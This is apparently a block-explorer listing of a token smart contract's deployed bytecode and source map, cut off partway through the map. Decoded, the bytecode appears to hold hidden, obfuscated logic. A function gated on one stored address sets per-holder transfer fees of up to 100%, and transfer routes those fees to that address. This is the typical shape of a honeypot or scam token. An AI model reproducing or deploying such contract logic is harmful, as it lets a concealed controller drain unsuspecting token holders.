6103a7575f80fd5b506103c260048036038101906103bd9190611649565b6108e0565b005b3480156103cf575f80fd5b506103d861092c565b6040516103e5919061147c565b60405180910390f35b3480156103f9575f80fd5b50610402610953565b60405161040f9190611267565b60405180910390f35b348015610423575f80fd5b5061043e60048036038101906104399190611325565b6109df565b60405161044b919061137d565b60405180910390f35b34801561045f575f80fd5b5061047a60048036038101906104759190611442565b6109f5565b005b348015610487575f80fd5b506104a2600480360381019061049d91906116a3565b610ac4565b6040516104af91906113a5565b60405180910390f35b600480546104c59061170e565b80601f01602080910402602001604051908101604052809291908181526020018280546104f19061170e565b801561053c5780601f106105135761010080835404028352916020019161053c565b820191905f5260205f20905b81548152906001019060200180831161051f57829003601f168201915b505050505081565b5f610550338484610b46565b6001905092915050565b60085481565b5f61056c848484610c2d565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146106ed578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610670919061176b565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b600b5481565b60065f9054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b600a602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600190505f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610812576001610815565b60095b60ff1690505f600382610828919061176b565b905080915060028161083a91906118cd565b6008546103e861084a9190611917565b6108549190611917565b835f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f6108ed60016002610fef565b90505f6108fb600283611010565b90505f61090a83836003611031565b90505f6109178284611056565b9050610924868683611077565b505050505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546109609061170e565b80601f016020809104026020016040519081016040528092919081815260200182805461098c9061170e565b80156109d75780601f106109ae576101008083540402835291602001916109d7565b820191905f5260205f20905b8154815290600101906020018083116109ba57829003601f168201915b505050505081565b5f6109eb338484610c2d565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a79906119a2565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2091906113a5565b60405180910390a3505050565b5f600960149054906101000a900460ff16158015610c92575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015610ce5575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d30919061176b565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8115610ee3575f6064600a5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205485610dc49190611917565b610dce91906119ed565b90508082610ddc9190611a1d565b91505f811115610ee1578060015f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e539190611a1d565b9250508190555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed891906113a5565b60405180910390a35b505b808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f2d9190611a1d565b610f37919061176b565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386610fd3919061176b565b604051610fe091906113a5565b60405180910390a35050505050565b5f600183610ffd919061176b565b826110089190611a1d565b905092915050565b5f60018261101e919061176b565b83611029919061176b565b905092915050565b5f8061103e85858561110c565b9050828161104c919061176b565b9150509392505050565b5f600182611064919061176b565b8361106f9190611a1d565b905092915050565b5f8190505f5b8451811015611105578183611092919061176b565b8461109d9190611a1d565b600a5f8784815181106110b3576110b2611a50565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808060010191505061107d565b5050505050565b5f61111684611159565b1561112e5781836111279190611a1d565b9050611152565b61113783611159565b61114e578383611147919061176b565b9050611152565b8190505b9392505050565b5f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161490505f80841190508180156111bd5750805b156111cd576001925050506111f2565b816111dc575f925050506111f2565b806111eb575f925050506111f2565b6001925050505b919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611239826111f7565b6112438185611201565b9350611253818560208601611211565b61125c8161121f565b840191505092915050565b5f6020820190508181035f83015261127f818461122f565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112c182611298565b9050919050565b6112d1816112b7565b81146112db575f80fd5b50565b5f813590506112ec816112c8565b92915050565b5f819050919050565b611304816112f2565b811461130e575f80fd5b50565b5f8135905061131f816112fb565b92915050565b5f806040838503121561133b5761133a611290565b5b5f611348858286016112de565b925050602061135985828601611311565b9150509250929050565b5f8115159050919050565b61137781611363565b82525050565b5f6020820190506113905f83018461136e565b92915050565b61139f816112f2565b82525050565b5f6020820190506113b85f830184611396565b92915050565b5f805f606084860312156113d5576113d4611290565b5b5f6113e2868287016112de565b93505060206113f3868287016112de565b925050604061140486828701611311565b9150509250925092565b5f60ff82169050919050565b6114238161140e565b82525050565b5f60208201905061143c5f83018461141a565b92915050565b5f6020828403121561145757611456611290565b5b5f611464848285016112de565b91505092915050565b611476816112b7565b82525050565b5f60208201905061148f5f83018461146d565b92915050565b5f819050919050565b5f6114b86114b36114ae84611298565b611495565b611298565b9050919050565b5f6114c98261149e565b9050919050565b5f6114da826114bf565b9050919050565b6114ea816114d0565b82525050565b5f6020820190506115035f8301846114e1565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6115438261121f565b810181811067ffffffffffffffff821117156115625761156161150d565b5b80604052505050565b5f611574611287565b9050611580828261153a565b919050565b5f67ffffffffffffffff82111561159f5761159e61150d565b5b602082029050602081019050919050565b5f80fd5b5f6115c66115c184611585565b61156b565b905080838252602082019050602084028301858111156115e9576115e86115b0565b5b835b8181101561161257806115fe88826112de565b8452602084019350506020810190506115eb565b5050509392505050565b5f82601f8301126116305761162f611509565b5b81356116408482602086016115b4565b91505092915050565b5f806040838503121561165f5761165e611290565b5b5f83013567ffffffffffffffff81111561167c5761167b611294565b5b6116888582860161161c565b925050602061169985828601611311565b9150509250929050565b5f80604083850312156116b9576116b8611290565b5b5f6116c6858286016112de565b92505060206116d7858286016112de565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172557607f821691505b602082108103611738576117376116e1565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611775826112f2565b9150611780836112f2565b92508282039050818111156117985761179761173e565b5b92915050565b5f8160011c9050919050565b5f808291508390505b60018511156117f3578086048111156117cf576117ce61173e565b5b60018516156117de5780820291505b80810290506117ec8561179e565b94506117b3565b94509492505050565b5f8261180b57600190506118c6565b81611818575f90506118c6565b816001811461182e576002811461183857611867565b60019150506118c6565b60ff84111561184a5761184961173e565b5b8360020a9150848211156118615761186061173e565b5b506118c6565b5060208310610133831016604e8410600b841016171561189c5782820a9050838111156118975761189661173e565b5b6118c6565b6118a984848460016117aa565b925090508184048111156118c0576118bf61173e565b5b81810290505b9392505050565b5f6118d7826112f2565b91506118e28361140e565b925061190f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117fc565b905092915050565b5f611921826112f2565b915061192c836112f2565b925082820261193a816112f2565b915082820484148315176119515761195061173e565b5b5092915050565b7f216f776e657200000000000000000000000000000000000000000000000000005f82015250565b5f61198c600683611201565b915061199782611958565b602082019050919050565b5f6020820190508181035f8301526119b981611980565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119f7826112f2565b9150611a02836112f2565b925082611a1257611a116119c0565b5b828204905092915050565b5f611a27826112f2565b9150611a32836112f2565b9250828201905080821115611a4a57611a4961173e565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220073f8397f809d7299cbef184f07b45309db188f98b05b720648f3428727b6c8e64736f6c63430008190033

Deployed Bytecode Sourcemap

1081:5747:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1430:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6174:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1554:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6304:327;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1749:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1476:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1498:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1693:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1404:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1779:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1581:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5542:264;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5814:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3396:457;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;786:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1449:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5914:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;958:114;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6050:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1430:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6174:124::-;6240:4;6247:37;6256:10;6268:7;6277:6;6247:8;:37::i;:::-;6292:4;6285:11;;6174:124;;;;:::o;1554:26::-;;;;:::o;6304:327::-;6393:4;6410:36;6420:6;6428:9;6439:6;6410:9;:36::i;:::-;1684:1;1675:11;6461;:19;6473:6;6461:19;;;;;;;;;;;;;;;:31;6481:10;6461:31;;;;;;;;;;;;;;;;:38;6457:145;;6584:6;6550:11;:19;6562:6;6550:19;;;;;;;;;;;;;;;:31;6570:10;6550:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6516:11;:19;6528:6;6516:19;;;;;;;;;;;;;;;:31;6536:10;6516:31;;;;;;;;;;;;;;;:74;;;;6457:145;6619:4;6612:11;;6304:327;;;;;:::o;1749:23::-;;;;:::o;1476:21::-;;;;;;;;;;;;;:::o;1498:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;1693:46::-;;;;;;;;;;;;;;;;;:::o;1404:25::-;;;;;;;;;;;;;:::o;1779:27::-;;;;;;;;;;;;;:::o;1581:36::-;;;;;;;;;;;;;:::o;5542:264::-;5600:44;5647:9;5600:56;;5667:9;5693:10;5679:24;;:10;;;;;;;;;;;:24;;;:34;;5710:3;5679:34;;;5706:1;5679:34;5667:46;;;;5724:9;5740:1;5736;:5;;;;:::i;:::-;5724:17;;5746:1;5742:5;;5797:1;5794;:4;;;;:::i;:::-;5782:11;;5777:4;:16;;;;:::i;:::-;:21;;;;:::i;:::-;5758:10;:16;5769:4;5758:16;;;;;;;;;;;;;;;:40;;;;5589:217;;;5542:264;:::o;5814:94::-;5871:7;5888:9;:18;5898:7;5888:18;;;;;;;;;;;;;;;;5881:25;;5814:94;;;:::o;3396:457::-;3487:24;3514:28;3531:4;3537;3514:16;:28::i;:::-;3487:55;;3553:24;3580:39;3596:4;3602:16;3580:15;:39::i;:::-;3553:66;;3620:24;3647:57;3663:16;3681;3699:4;3647:15;:57::i;:::-;3620:84;;3705:19;3727:51;3743:16;3761;3727:15;:51::i;:::-;3705:73;;3789:56;3805:10;3817:14;3833:11;3789:15;:56::i;:::-;3476:377;;;;3396:457;;:::o;786:63::-;824:7;841:6;;;;;;;;;;;834:13;;786:63;:::o;1449:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5914:130::-;5983:4;5990:40;6000:10;6012:9;6023:6;5990:9;:40::i;:::-;6038:4;6031:11;;5914:130;;;;:::o;958:114::-;905:10;895:20;;:6;;;;;;;;;;:20;;;887:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;1056:8:::1;1047:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;958:114:::0;:::o;6050:118::-;6122:7;6139:11;:18;6151:5;6139:18;;;;;;;;;;;;;;;:27;6158:7;6139:27;;;;;;;;;;;;;;;;6132:34;;6050:118;;;;:::o;6639:151::-;6744:6;6714:11;:18;6726:5;6714:18;;;;;;;;;;;;;;;:27;6733:7;6714:27;;;;;;;;;;;;;;;:36;;;;6772:7;6756:32;;6765:5;6756:32;;;6781:6;6756:32;;;;;;:::i;:::-;;;;;;;;6639:151;;;:::o;1815:702::-;1895:20;1919:6;;;;;;;;;;;1918:7;:35;;;;;1930:17;:23;1948:4;1930:23;;;;;;;;;;;;;;;;;;;;;;;;;1929:24;1918:35;:61;;;;;1958:17;:21;1976:2;1958:21;;;;;;;;;;;;;;;;;;;;;;;;;1957:22;1918:61;1895:84;;2028:6;2010:9;:15;2020:4;2010:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;1992:9;:15;2002:4;1992:15;;;;;;;;;;;;;;;:42;;;;2047:18;2080:15;2076:317;;;2112:17;2160:3;2141:10;:16;2152:4;2141:16;;;;;;;;;;;;;;;;2132:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;2112:51;;2192:9;2178:23;;;;;:::i;:::-;;;2232:1;2220:9;:13;2216:166;;;2287:9;2253;:30;2271:10;;;;;;;;;;;2253:30;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;2343:10;;;;;;;;;;;2320:46;;2329:4;2320:46;;;2356:9;2320:46;;;;;;:::i;:::-;;;;;;;;2216:166;2097:296;2076:317;2444:10;2435:6;2419:9;:13;2429:2;2419:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:35;;;;:::i;:::-;2403:9;:13;2413:2;2403:13;;;;;;;;;;;;;;;:51;;;;2485:2;2470:39;;2479:4;2470:39;;;2498:10;2489:6;:19;;;;:::i;:::-;2470:39;;;;;;:::i;:::-;;;;;;;;1882:635;;1815:702;;;:::o;3861:131::-;3937:7;3979:4;3972;:11;;;;:::i;:::-;3964:4;:20;;;;:::i;:::-;3957:27;;3861:131;;;;:::o;4000:130::-;4075:7;4117:4;4110;:11;;;;:::i;:::-;4102:4;:20;;;;:::i;:::-;4095:27;;4000:130;;;;:::o;4138:201::-;4227:7;4247:18;4268:28;4279:4;4285;4291;4268:10;:28::i;:::-;4247:49;;4327:4;4314:10;:17;;;;:::i;:::-;4307:24;;;4138:201;;;;;:::o;4347:130::-;4422:7;4464:4;4457;:11;;;;:::i;:::-;4449:4;:20;;;;:::i;:::-;4442:27;;4347:130;;;;:::o;4485:294::-;4596:18;4617:6;4596:27;;4639:9;4634:138;4658:9;:16;4654:1;:20;4634:138;;;4749:10;4740:6;:19;;;;:::i;:::-;4723:13;:37;;;;:::i;:::-;4696:10;:24;4707:9;4717:1;4707:12;;;;;;;;:::i;:::-;;;;;;;;4696:24;;;;;;;;;;;;;;;:64;;;;4676:3;;;;;;;4634:138;;;;4585:194;4485:294;;;:::o;4787:300::-;4871:7;4895:18;4908:4;4895:12;:18::i;:::-;4891:189;;;4944:4;4937;:11;;;;:::i;:::-;4930:18;;;;4891:189;4971:18;4984:4;4971:12;:18::i;:::-;4966:114;;5020:4;5013;:11;;;;:::i;:::-;5006:18;;;;4966:114;5064:4;5057:11;;4787:300;;;;;;:::o;5095:431::-;5151:4;5168:19;5204:10;;;;;;;;;;;5190:24;;:10;:24;;;5168:46;;5225:20;5253:1;5248:2;:6;5225:29;;5269:14;:33;;;;;5287:15;5269:33;5265:254;;;5326:4;5319:11;;;;;;5265:254;5353:14;5348:171;;5391:5;5384:12;;;;;;5348:171;5419:15;5414:105;;5458:5;5451:12;;;;;;5414:105;5503:4;5496:11;;;;5095:431;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1242:75::-;1275:6;1308:2;1302:9;1292:19;;1242:75;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:60::-;5461:3;5482:5;5475:12;;5433:60;;;:::o;5499:142::-;5549:9;5582:53;5600:34;5609:24;5627:5;5609:24;:::i;:::-;5600:34;:::i;:::-;5582:53;:::i;:::-;5569:66;;5499:142;;;:::o;5647:126::-;5697:9;5730:37;5761:5;5730:37;:::i;:::-;5717:50;;5647:126;;;:::o;5779:147::-;5850:9;5883:37;5914:5;5883:37;:::i;:::-;5870:50;;5779:147;;;:::o;5932:173::-;6040:58;6092:5;6040:58;:::i;:::-;6035:3;6028:71;5932:173;;:::o;6111:264::-;6225:4;6263:2;6252:9;6248:18;6240:26;;6276:92;6365:1;6354:9;6350:17;6341:6;6276:92;:::i;:::-;6111:264;;;;:::o;6381:117::-;6490:1;6487;6480:12;6504:180;6552:77;6549:1;6542:88;6649:4;6646:1;6639:15;6673:4;6670:1;6663:15;6690:281;6773:27;6795:4;6773:27;:::i;:::-;6765:6;6761:40;6903:6;6891:10;6888:22;6867:18;6855:10;6852:34;6849:62;6846:88;;;6914:18;;:::i;:::-;6846:88;6954:10;6950:2;6943:22;6733:238;6690:281;;:::o;6977:129::-;7011:6;7038:20;;:::i;:::-;7028:30;;7067:33;7095:4;7087:6;7067:33;:::i;:::-;6977:129;;;:::o;7112:311::-;7189:4;7279:18;7271:6;7268:30;7265:56;;;7301:18;;:::i;:::-;7265:56;7351:4;7343:6;7339:17;7331:25;;7411:4;7405;7401:15;7393:23;;7112:311;;;:::o;7429:117::-;7538:1;7535;7528:12;7569:710;7665:5;7690:81;7706:64;7763:6;7706:64;:::i;:::-;7690:81;:::i;:::-;7681:90;;7791:5;7820:6;7813:5;7806:21;7854:4;7847:5;7843:16;7836:23;;7907:4;7899:6;7895:17;7887:6;7883:30;7936:3;7928:6;7925:15;7922:122;;;7955:79;;:::i;:::-;7922:122;8070:6;8053:220;8087:6;8082:3;8079:15;8053:220;;;8162:3;8191:37;8224:3;8212:10;8191:37;:::i;:::-;8186:3;8179:50;8258:4;8253:3;8249:14;8242:21;;8129:144;8113:4;8108:3;8104:14;8097:21;;8053:220;;;8057:21;7671:608;;7569:710;;;;;:::o;8302:370::-;8373:5;8422:3;8415:4;8407:6;8403:17;8399:27;8389:122;;8430:79;;:::i;:::-;8389:122;8547:6;8534:20;8572:94;8662:3;8654:6;8647:4;8639:6;8635:17;8572:94;:::i;:::-;8563:103;;8379:293;8302:370;;;;:::o;8678:684::-;8771:6;8779;8828:2;8816:9;8807:7;8803:23;8799:32;8796:119;;;8834:79;;:::i;:::-;8796:119;8982:1;8971:9;8967:17;8954:31;9012:18;9004:6;9001:30;8998:117;;;9034:79;;:::i;:::-;8998:117;9139:78;9209:7;9200:6;9189:9;9185:22;9139:78;:::i;:::-;9129:88;;8925:302;9266:2;9292:53;9337:7;9328:6;9317:9;9313:22;9292:53;:::i;:::-;9282:63;;9237:118;8678:684;;;;;:::o;9368:474::-;9436:6;9444;9493:2;9481:9;9472:7;9468:23;9464:32;9461:119;;;9499:79;;:::i;:::-;9461:119;9619:1;9644:53;9689:7;9680:6;9669:9;9665:22;9644:53;:::i;:::-;9634:63;;9590:117;9746:2;9772:53;9817:7;9808:6;9797:9;9793:22;9772:53;:::i;:::-;9762:63;;9717:118;9368:474;;;;;:::o;9848:180::-;9896:77;9893:1;9886:88;9993:4;9990:1;9983:15;10017:4;10014:1;10007:15;10034:320;10078:6;10115:1;10109:4;10105:12;10095:22;;10162:1;10156:4;10152:12;10183:18;10173:81;;10239:4;10231:6;10227:17;10217:27;;10173:81;10301:2;10293:6;10290:14;10270:18;10267:38;10264:84;;10320:18;;:::i;:::-;10264:84;10085:269;10034:320;;;:::o;10360:180::-;10408:77;10405:1;10398:88;10505:4;10502:1;10495:15;10529:4;10526:1;10519:15;10546:194;10586:4;10606:20;10624:1;10606:20;:::i;:::-;10601:25;;10640:20;10658:1;10640:20;:::i;:::-;10635:25;;10684:1;10681;10677:9;10669:17;;10708:1;10702:4;10699:11;10696:37;;;10713:18;;:::i;:::-;10696:37;10546:194;;;;:::o;10746:102::-;10788:8;10835:5;10832:1;10828:13;10807:34;;10746:102;;;:::o;10854:848::-;10915:5;10922:4;10946:6;10937:15;;10970:5;10961:14;;10984:712;11005:1;10995:8;10992:15;10984:712;;;11100:4;11095:3;11091:14;11085:4;11082:24;11079:50;;;11109:18;;:::i;:::-;11079:50;11159:1;11149:8;11145:16;11142:451;;;11574:4;11567:5;11563:16;11554:25;;11142:451;11624:4;11618;11614:15;11606:23;;11654:32;11677:8;11654:32;:::i;:::-;11642:44;;10984:712;;;10854:848;;;;;;;:::o;11708:1073::-;11762:5;11953:8;11943:40;;11974:1;11965:10;;11976:5;;11943:40;12002:4;11992:36;;12019:1;12010:10;;12021:5;;11992:36;12088:4;12136:1;12131:27;;;;12172:1;12167:191;;;;12081:277;;12131:27;12149:1;12140:10;;12151:5;;;12167:191;12212:3;12202:8;12199:17;12196:43;;;12219:18;;:::i;:::-;12196:43;12268:8;12265:1;12261:16;12252:25;;12303:3;12296:5;12293:14;12290:40;;;12310:18;;:::i;:::-;12290:40;12343:5;;;12081:277;;12467:2;12457:8;12454:16;12448:3;12442:4;12439:13;12435:36;12417:2;12407:8;12404:16;12399:2;12393:4;12390:12;12386:35;12370:111;12367:246;;;12523:8;12517:4;12513:19;12504:28;;12558:3;12551:5;12548:14;12545:40;;;12565:18;;:::i;:::-;12545:40;12598:5;;12367:246;12638:42;12676:3;12666:8;12660:4;12657:1;12638:42;:::i;:::-;12623:57;;;;12712:4;12707:3;12703:14;12696:5;12693:25;12690:51;;;12721:18;;:::i;:::-;12690:51;12770:4;12763:5;12